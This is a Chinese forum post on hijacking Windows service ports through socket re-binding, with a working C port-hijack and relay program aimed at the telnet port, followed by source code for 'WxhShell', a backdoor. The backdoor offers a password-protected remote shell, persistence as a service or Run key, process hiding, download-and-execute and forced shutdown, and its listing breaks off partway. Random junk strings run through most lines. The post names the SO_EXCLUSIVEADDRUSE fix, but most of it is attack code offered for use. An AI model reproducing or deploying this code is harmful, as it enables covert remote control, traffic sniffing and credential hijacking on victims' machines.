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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: m@Ip^]9ry  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XW?ybH6  
%[n R|a<  
  saddr.sin_family = AF_INET; zvGK6qCk  
TsX+. i'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <4Q12:  
!b7'>b'J<1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !)%>AH'  
=F'M~3M   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f#v#)Gp+  
Jh\: X<q  
  这意味着什么?意味着可以进行如下的攻击: j6e}7  
7rdw`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {x[;5TM  
X7H'Uk9:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `8Jq~u6_Z  
Vm~qk  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /esVuz  
>:jM}*dnL  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -MrtliepW*  
E q=wdI  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7 DY WdDX  
v_z..-7Dq+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 oQ%\[s$  
g8I!E$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *qPdZ   
hD_5~d  
  #include JY2/YDJ  
  #include }Kj Ju;  
  #include W-z90k4Z5  
  #include    lMC{SfdH  
  DWORD WINAPI ClientThread(LPVOID lpParam);   cq,v1Y<  
  int main() 382*  
  { F!gNt<fZ  
  WORD wVersionRequested; Dn_"B0$lk  
  DWORD ret; 2~!R*i  
  WSADATA wsaData; R <;OEN  
  BOOL val; x6^l6N  
  SOCKADDR_IN saddr; 2e9jo,i  
  SOCKADDR_IN scaddr; Zk=*7?!!  
  int err; veUa|Bx.(v  
  SOCKET s; J3e:Y!  
  SOCKET sc; &|.hkR2k  
  int caddsize; ]cm6 |`pz  
  HANDLE mt; Xnv@H:$mxk  
  DWORD tid;   (#6AKr9K  
  wVersionRequested = MAKEWORD( 2, 2 ); 5LX8:~y  
  err = WSAStartup( wVersionRequested, &wsaData ); fB~O |g  
  if ( err != 0 ) { c~}={4M]  
  printf("error!WSAStartup failed!\n"); oZvA~]x9\  
  return -1; V @D]bV@4  
  } Vd+td;9(  
  saddr.sin_family = AF_INET; u5w&X8x  
   jzs.+dAg  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wG1y,u'  
;} lT  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); KVB0IXZC~  
  saddr.sin_port = htons(23); w 66 v\x~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u8YB)kG  
  { <S1??  
  printf("error!socket failed!\n"); -<qxO  
  return -1; )Hbb&F  
  } {O^TurbTFA  
  val = TRUE; l{Jt sI  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $Y6I_U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {L@+(I  
  { T><{ze  
  printf("error!setsockopt failed!\n"); ,~4H{{<j  
  return -1; UJz#QkAio  
  } J["H[T*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^GMJ~[]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 gmh5 %2M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 XTJvV  
vSOT*0r  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) EgTFwEj  
  {  ep+  
  ret=GetLastError(); ao#!7F  
  printf("error!bind failed!\n"); M[, D  *  
  return -1; 4% HGMr  
  } AL$W+')  
  listen(s,2); ^=EjadVQ  
  while(1) 'p%= <0vrr  
  { ZJ;LD*  
  caddsize = sizeof(scaddr); *'D=1{WZ!  
  //接受连接请求 z[fB!O  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lT.zNhz:d9  
  if(sc!=INVALID_SOCKET) \6sqyWI %  
  { zZ%DtxUoU.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }A]BpSEP  
  if(mt==NULL) ,c>N}*6h=W  
  { `Da+75 f6v  
  printf("Thread Creat Failed!\n"); '\`6ot8  
  break; ^ [k0k(_  
  } 3{"byfO#%  
  } IU@_)I+6  
  CloseHandle(mt); ?d$"[lKX  
  } E\0X`QeY  
  closesocket(s); 9)`amhf>  
  WSACleanup(); }g`Gh|C  
  return 0; 8L%M<JRg~  
  }   -hWC_X:9jP  
  DWORD WINAPI ClientThread(LPVOID lpParam) Y\xUT>(J7  
  { x?"#gK`3;  
  SOCKET ss = (SOCKET)lpParam; bAf,aV/C&|  
  SOCKET sc; 7+}JgUh  
  unsigned char buf[4096]; fb .J$fX  
  SOCKADDR_IN saddr; f/}  
  long num; UVz/n68\k7  
  DWORD val; 845 W>B  
  DWORD ret; ?i~g,P]NK  
  //如果是隐藏端口应用的话,可以在此处加一些判断 YNSyi@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   mO P4z'  
  saddr.sin_family = AF_INET; z{:-!oF&CB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f~ =r*&U  
  saddr.sin_port = htons(23); X7aYpt;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I&Jt> O4  
  { &D]p,  
  printf("error!socket failed!\n"); m9$a"$c  
  return -1; {.st`n|xz  
  } H}Ucrv:  
  val = 100;  H;NbQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q-nER<  
  { o#>a 5  
  ret = GetLastError(); B**Nn!}0  
  return -1; 5 L/x-i  
  } $5AC1g'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c%z'xM  
  { m@jge)O&D  
  ret = GetLastError(); !aPD}xCH#  
  return -1; o}8I_o&]U  
  } BkawL,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vE%s, E,  
  { ~6`iY@)  
  printf("error!socket connect failed!\n"); *5k+t  
  closesocket(sc); wv?RO*E  
  closesocket(ss); BcQEG *N  
  return -1; h}Rx_d  
  } i?>tgmu.  
  while(1) 0:"2MSf>  
  { ?cKZ_c  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 VWx]1\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %MZP)k,&U  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ` #OSl  
  num = recv(ss,buf,4096,0); .2W"w)$nuq  
  if(num>0) mT @ nn,  
  send(sc,buf,num,0); n[,XU|2  
  else if(num==0) |a-fE]{7  
  break; C!+I>J{4f  
  num = recv(sc,buf,4096,0); qmglb:"  
  if(num>0) #(KDjnP[  
  send(ss,buf,num,0); HeLG?6  
  else if(num==0) p@~ic#X  
  break; irbw'^;y  
  } R_ ZK0ar  
  closesocket(ss); O^Q ,-=tA\  
  closesocket(sc); c6&Q^p|CF  
  return 0 ; 0 Y>M=|  
  } -fy9<  
kJ{+M]pW  
IXpc,l `  
========================================================== F]EBD8/b  
eF~dQ4RZ  
下边附上一个代码,,WXhSHELL xwi\  
VwyVEZt  
========================================================== yVX8e I  
m&*JMA;^  
#include "stdafx.h" d%_OT0Ei  
s?2$ue&-f  
#include <stdio.h> \?**2{9&)  
#include <string.h> Kcy@$uF{2  
#include <windows.h> o*5U:'=5}  
#include <winsock2.h> IgIYguQ   
#include <winsvc.h> XJ1=m   
#include <urlmon.h> LzML%J62  
|kJ%`j(7R  
#pragma comment (lib, "Ws2_32.lib") )Ry<a$Q3  
#pragma comment (lib, "urlmon.lib") M f~}/h  
7f3O  
#define MAX_USER   100 // 最大客户端连接数 6gH{ R$7L=  
#define BUF_SOCK   200 // sock buffer cl@g  
#define KEY_BUFF   255 // 输入 buffer k^\pU\J  
k&/OU:7Y  
#define REBOOT     0   // 重启 =Yz'D|=t  
#define SHUTDOWN   1   // 关机 K/L;8a  
t `kui.  
#define DEF_PORT   5000 // 监听端口 g%nl!dgS  
h6~$/`&]b  
#define REG_LEN     16   // 注册表键长度 _n;;][]S  
#define SVC_LEN     80   // NT服务名长度 bQ'8SCe  
`=UWqb(K_  
// 从dll定义API rx0~`cVV:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -' g*^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a u7.4ln>Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v&a4^s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W,XTF  
Djq!P  
// wxhshell配置信息 3^?ZG^V  
struct WSCFG { 1vzb8.  
  int ws_port;         // 监听端口 #bX9Tu0  
  char ws_passstr[REG_LEN]; // 口令 99xEm  
  int ws_autoins;       // 安装标记, 1=yes 0=no -fS.9+k0/  
  char ws_regname[REG_LEN]; // 注册表键名 EV pi^>M  
  char ws_svcname[REG_LEN]; // 服务名 #|[ M?3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PjKEC N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^r6!l.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;&V s4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >J9oH=S6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }%7 NF*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #Tw@wfaq)  
SAY LG  
}; ZJPmR/OV_  
`d7n?|pD  
// default Wxhshell configuration Zf$Np50@(  
struct WSCFG wscfg={DEF_PORT, qz?mh4Oh  
    "xuhuanlingzhe", eI45PMP  
    1, rf~Y6U?7  
    "Wxhshell", 8N&+7FK  
    "Wxhshell", 1u3, '8F  
            "WxhShell Service", Rk!X]-`=  
    "Wrsky Windows CmdShell Service", WOzf]3Xcj  
    "Please Input Your Password: ", 5GA C`}}  
  1, WHXj8*]6  
  "http://www.wrsky.com/wxhshell.exe", SZaS;hhhHu  
  "Wxhshell.exe" [S5\#=_4S  
    }; gzoEUp =s  
'R-3fO???  
// 消息定义模块 86]p#n_>Fv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g0R~&AN!g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ktIi$v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ym%xx!9  
char *msg_ws_ext="\n\rExit."; HK`I\,K  
char *msg_ws_end="\n\rQuit."; ZKHG!`X0  
char *msg_ws_boot="\n\rReboot..."; pRkP~ZISU  
char *msg_ws_poff="\n\rShutdown..."; @)o^uU T  
char *msg_ws_down="\n\rSave to "; fU=B4V4@  
Mmpfto%i  
char *msg_ws_err="\n\rErr!"; _XCOSomL`  
char *msg_ws_ok="\n\rOK!"; I:K"'R^  
PB;eHy  
char ExeFile[MAX_PATH]; 3k#~yaoI  
int nUser = 0; ]vwW]O7  
HANDLE handles[MAX_USER]; !*R qCS,  
int OsIsNt; DL$@?.?I  
-py@DzK  
SERVICE_STATUS       serviceStatus; FEVEp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PDs@?nz,  
$Y69@s%f  
// 函数声明 (L^]Lk x)  
int Install(void); S$QG.K:<!  
int Uninstall(void); '!/<P"5t  
int DownloadFile(char *sURL, SOCKET wsh); 0 a80 LAK  
int Boot(int flag); R(q~ -3~  
void HideProc(void); &=VDASEu  
int GetOsVer(void); ^R:cd8+?%  
int Wxhshell(SOCKET wsl); "[y-+)WTG  
void TalkWithClient(void *cs); ^fZ&QK  
int CmdShell(SOCKET sock); (sh)TBb5  
int StartFromService(void); ?@E!u|]K  
int StartWxhshell(LPSTR lpCmdLine); E? _Z`*h  
gNt(,_]ZR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZYC<Wb)I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1t)il^p4[;  
J0@X<Lt U  
// 数据结构和表定义 Q~Hy%M%R3  
SERVICE_TABLE_ENTRY DispatchTable[] = tQS5hwm*  
{ : |>Gc39`t  
{wscfg.ws_svcname, NTServiceMain}, +E{|63~q  
{NULL, NULL} s&RVJX>Rt  
}; \otWd  
B)0i:"q  
// 自我安装 30SW\@  
int Install(void) Ytl4kaYS  
{ EOCN&_Z;  
  char svExeFile[MAX_PATH]; 6oGYnu;UZ  
  HKEY key; Uu`9 "  
  strcpy(svExeFile,ExeFile); Mnscb  
zG(\+4GE!  
// 如果是win9x系统,修改注册表设为自启动 2nR[Xh?L  
if(!OsIsNt) {  5~>z h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZzSz%z_sE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8uWa=C)  
  RegCloseKey(key); 0tXS3+@n =  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ' ~8KSF*!p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0N $v"uX@  
  RegCloseKey(key); 9b9$GyI  
  return 0; ME*LH r,  
    } zzX_q(:S  
  } b45-:mi!&#  
} ~{jcH  
else { U H*r5o3  
d~i+ I5  
// 如果是NT以上系统,安装为系统服务 NfjE`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K~R`%r_  
if (schSCManager!=0) >Z'NXha  
{ / G7vwC  
  SC_HANDLE schService = CreateService B!?%O  
  ( c9&xe"v  
  schSCManager, *-8&[D0  
  wscfg.ws_svcname, Sy0$z39  
  wscfg.ws_svcdisp, 9po3m]|zy  
  SERVICE_ALL_ACCESS, d'NIV9P`j]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UWd=!h^dt  
  SERVICE_AUTO_START, ui/a|Q  
  SERVICE_ERROR_NORMAL, bcE._9@@  
  svExeFile, gcl5jB5)>  
  NULL, @X#F3;  
  NULL, }f6HYU  
  NULL, oYH^_V  
  NULL, R8a3 1&  
  NULL .nx2";oi  
  ); ` 2V19 s]  
  if (schService!=0) oYm[V<nIl  
  { nH[yJGZYSA  
  CloseServiceHandle(schService); pSdI/Vj'=  
  CloseServiceHandle(schSCManager); H _zo1AW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D=-SO +  
  strcat(svExeFile,wscfg.ws_svcname); /7Cc#P6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K3#@SY j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8|l\E VV6  
  RegCloseKey(key); L?mrba y  
  return 0; JehrDC2N  
    } klT@cO-9  
  } HMh"}I2n  
  CloseServiceHandle(schSCManager); l*d(;AR  
} T?ZRiR)@  
} n'E(y)9|  
pL/DZ|S3  
return 1; *V8<:OG|e  
} 7o# I,d~  
E/|To  
// 自我卸载 2y;Skp  
int Uninstall(void) N_W}*2(  
{ 8c9*\S  
  HKEY key; _x(o*v[Pt  
__G?0*3G  
if(!OsIsNt) { &m)6J'q3k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pZqq]mHK  
  RegDeleteValue(key,wscfg.ws_regname); #P0&ewy  
  RegCloseKey(key); i:Y^{\Z?V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +M\`#i\g>  
  RegDeleteValue(key,wscfg.ws_regname); q_A!'sm@)  
  RegCloseKey(key); Vt:~q{9*k  
  return 0; iT gt}]L  
  } 4.[^\N  
} ,St#Vla  
} qNB<T('  
else { 7:plQ !7^  
oAODp!_c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #S!)JM|4wk  
if (schSCManager!=0) '7hu 2i5  
{ n|9-KTe7|*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :L F?  
  if (schService!=0) 5\:^ y'g[  
  { 0zmE>/O+  
  if(DeleteService(schService)!=0) { Z>:NPZODf  
  CloseServiceHandle(schService); Vc&! OE  
  CloseServiceHandle(schSCManager); p6>Svcc  
  return 0; 8lvV4yb  
  } g+vva"  
  CloseServiceHandle(schService); RO+GK`J  
  } Lo{ E:5q  
  CloseServiceHandle(schSCManager); G|!Tj X7s  
} |"ls\ 7  
} }YGV\Nu  
B~MU^ |v  
return 1; n8~N$tDU  
} #Z?A2r!1  
O_oPh] x)  
// 从指定url下载文件 "l3_=Gua  
int DownloadFile(char *sURL, SOCKET wsh) H1|?t+oP  
{ ype$ c  
  HRESULT hr; _.tVSV p  
char seps[]= "/"; =_JjmTy;a  
char *token; mqD}BOif  
char *file; 2=,lcWr  
char myURL[MAX_PATH]; 5Dm.K?l;  
char myFILE[MAX_PATH]; >%}C^gu)  
6m* QX+  
strcpy(myURL,sURL); ]b2pG'  
  token=strtok(myURL,seps); ^a0um/+M}  
  while(token!=NULL) EN<F# Y3E  
  { JVvs-bK5  
    file=token; AVlhNIr  
  token=strtok(NULL,seps); 4VJ-,Z  
  } D=j-!{zB  
Gw/Pk4R  
GetCurrentDirectory(MAX_PATH,myFILE); S 6@u@C  
strcat(myFILE, "\\"); 4KhV|#-;k  
strcat(myFILE, file); i1ixi\P{0  
  send(wsh,myFILE,strlen(myFILE),0); 6tgt>\y  
send(wsh,"...",3,0); -`*a'p-=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V#2+"(7h  
  if(hr==S_OK) [+2[`K c]  
return 0; KKj a/p  
else SoW9p^HJ  
return 1; [M]  
=upeRY@u5  
} u^@f&BIG]:  
_C%3h5  
// 系统电源模块 Ta ZmRL  
int Boot(int flag) !"?#6-,Xn  
{ '.IW.{;$  
  HANDLE hToken; SD"FErJ  
  TOKEN_PRIVILEGES tkp; &FMc?wq  
M8kPj8}{  
  if(OsIsNt) { + nrbShV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l+xX/A)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jFQQ`O V  
    tkp.PrivilegeCount = 1; 2V- 16Q'%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z3"%`*Tmq-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k^3>Y%^1  
if(flag==REBOOT) { fiK6@,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }"nItcp.1  
  return 0; YqhAZp<  
} 'nzg6^I7g  
else { $p1(He0 2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~Z\8UsVN  
  return 0; c,np2myd  
} sJB;3"~  
  } :KQ~Cb  
  else { I:R[;TB?y  
if(flag==REBOOT) { ?ZV/U!y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6KXtcXQ  
  return 0; a@_4PWzF:  
} ~8'sBT  
else { -^&<Z 0m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $t$ShT)  
  return 0; y;35WtDVb  
} j+i\bks  
} G,&<<2{(f;  
7-bd9uVK  
return 1; 0IsPIi"7  
} .?8;qA  
wcrCEX=I>{  
// win9x进程隐藏模块 -o ^7r@6  
void HideProc(void) U$O\f18  
{ m ifxiV  
\r/rBa\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ? ^0:3$La  
  if ( hKernel != NULL ) Z)I+@2  
  { ]~Rho_mq#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .p<:II:6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [T8WThs  
    FreeLibrary(hKernel); <wk!hTm W  
  } qmkAg }2  
HZ aV7dOZ8  
return; 1T"`v tR  
} `!ob GMTQ<  
}s7$7  
// 获取操作系统版本 zIqU,n|]s  
int GetOsVer(void) }zeO]"`  
{ QmQ=q7  
  OSVERSIONINFO winfo; %6|nb:Oa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5MroNr  
  GetVersionEx(&winfo); 5dx$HE&b)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -RE^tW*Yy  
  return 1; 3atBX5  
  else { }:#G  
  return 0; 1h^:[[!c  
} m]'#t)B_m  
y*4=c _Z  
// 客户端句柄模块 :vmH]{R  
int Wxhshell(SOCKET wsl) GSoX<*i  
{ RVZ")Z(  
  SOCKET wsh; $h+1u$po  
  struct sockaddr_in client; .T}Wdn g  
  DWORD myID; QVv#fy1"6  
JgxtlYjl  
  while(nUser<MAX_USER) \Z?9{J  
{ R|6Cv3:  
  int nSize=sizeof(client); M92dZ1+6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tZ]?^_Y1  
  if(wsh==INVALID_SOCKET) return 1; / kF)  
8V~k5#&Ow  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P@,XEQRd`  
if(handles[nUser]==0) T`9lV2x*P  
  closesocket(wsh); .iYJr;9`d  
else @KXV%a'  
  nUser++; :N:yLd} &  
  } KN^=i5K+Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qEyyT[:  
Z_LFIz*c  
  return 0; ^P[e1?SZG  
} g?c xp +  
NN%*b yK  
// 关闭 socket h){0rX@:&  
void CloseIt(SOCKET wsh) @D]5civm_  
{ ^ sOQi6pL  
closesocket(wsh); =J18eH!]  
nUser--; {JO^ tI  
ExitThread(0); q;B4WL}  
} h\$$JeSV]  
?j'7l=94A  
// 客户端请求句柄 ;!>rnxB?4  
void TalkWithClient(void *cs) J! AgBF N4  
{ I&fozO   
U&g@.,Y#  
  SOCKET wsh=(SOCKET)cs; $POu\TO  
  char pwd[SVC_LEN]; )cW#Rwu_A4  
  char cmd[KEY_BUFF]; gt\E`HB8E  
char chr[1]; uFX#`^r`  
int i,j; O\ GEay2  
l3{-z4mw  
  while (nUser < MAX_USER) { ?U%qPv:  
>1.X*gi?-  
if(wscfg.ws_passstr) { dph{74Dc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '3R`lv   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $By< $  
  //ZeroMemory(pwd,KEY_BUFF); )!3V/`I  
      i=0; M-$%Rzl_  
  while(i<SVC_LEN) { lXx=But  
^6jV_QM#  
  // 设置超时 ^4y,W]JUDt  
  fd_set FdRead; H[NSqu.s  
  struct timeval TimeOut; 7!e vm;A  
  FD_ZERO(&FdRead); ntu5{L'8  
  FD_SET(wsh,&FdRead); ADz ^\  
  TimeOut.tv_sec=8; fZ6MSAh  
  TimeOut.tv_usec=0; |5X^u+_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jSJqE _1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y|jl[pyg)  
[ZNtCnv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FVMD>=k  
  pwd=chr[0]; /{EP*,/*  
  if(chr[0]==0xd || chr[0]==0xa) { E`kG-Q5Dw  
  pwd=0; '@a}H9>}  
  break; aE Bu *`-j  
  } DMAIM|h  
  i++; T"(&b~m2b4  
    } 1Rt33\1J0  
dhC$W!N7!  
  // 如果是非法用户,关闭 socket 0XOp3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -$t{>gO#Y  
} T tfo^ksw  
@T@< _ ?)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oro$wFxJO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [NF'oRRD9s  
^dI424  
while(1) { I~[F|d>  
]N/=Dd+|  
  ZeroMemory(cmd,KEY_BUFF);  Z< 1  
'I`&Yo~c9  
      // 自动支持客户端 telnet标准   2pZXZ  
  j=0; <S5BDk  
  while(j<KEY_BUFF) { UgRhWV~f0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  |{&{  
  cmd[j]=chr[0]; d}OTO10  
  if(chr[0]==0xa || chr[0]==0xd) { , xw#NG6  
  cmd[j]=0; 2ElJbN#  
  break; ~b(i&DVK  
  } ;p.v]0]is  
  j++; m1j*mtu  
    } QpF;:YX^3  
vXev$x=w-  
  // 下载文件 DMs,y{v  
  if(strstr(cmd,"http://")) { b k~( ^!R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N(O9&L*4fm  
  if(DownloadFile(cmd,wsh)) %9 SJ E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i9rN9Mq?O  
  else @g|v;B|{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u/UrAqw  
  } W}nlRbN?  
  else {  nI[os  
dSLU>E3g  
    switch(cmd[0]) { ;Y)w@bNt@  
  bAdn &   
  // 帮助 ov|d^)'  
  case '?': { {5A2&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J.3u^~zy  
    break; <3L5"77G 6  
  } bs+f,j-oBN  
  // 安装 I.I`6(Cb  
  case 'i': { )i6mzzj5  
    if(Install()) &`h{i K7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !'Ak&j1:`  
    else \h+AXs<j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JX<)EZ!F  
    break; &g#@3e1>  
    } }?lrU.@zg  
  // 卸载 sm9k/(-  
  case 'r': { _qU4Fadgm  
    if(Uninstall()) C=-=_>Q,L<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G3C~x.(f  
    else "RedK '7g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Nl <p"=  
    break; ;:iY)}  
    } 8bxfj<O,  
  // 显示 wxhshell 所在路径 O8^A5,2@3>  
  case 'p': { ,yC-+VL  
    char svExeFile[MAX_PATH]; 9q)Kfz  
    strcpy(svExeFile,"\n\r"); CZ8KEBl  
      strcat(svExeFile,ExeFile); \TIT:1  
        send(wsh,svExeFile,strlen(svExeFile),0); ]{!U@b  
    break; /{Is0+)  
    } ag;Q F  
  // 重启 qjc8fP2  
  case 'b': { Nv$ R\'3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Id*Ce2B  
    if(Boot(REBOOT)) PYQ;``~x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W=lyIb{?^0  
    else { XFg 9P}"  
    closesocket(wsh); 6e(Qwt  
    ExitThread(0); 0*VWzH   
    } q$p%ZefZ  
    break; ) g0%{dfJ  
    } Y$o< 6[7  
  // 关机 >u>5{4  
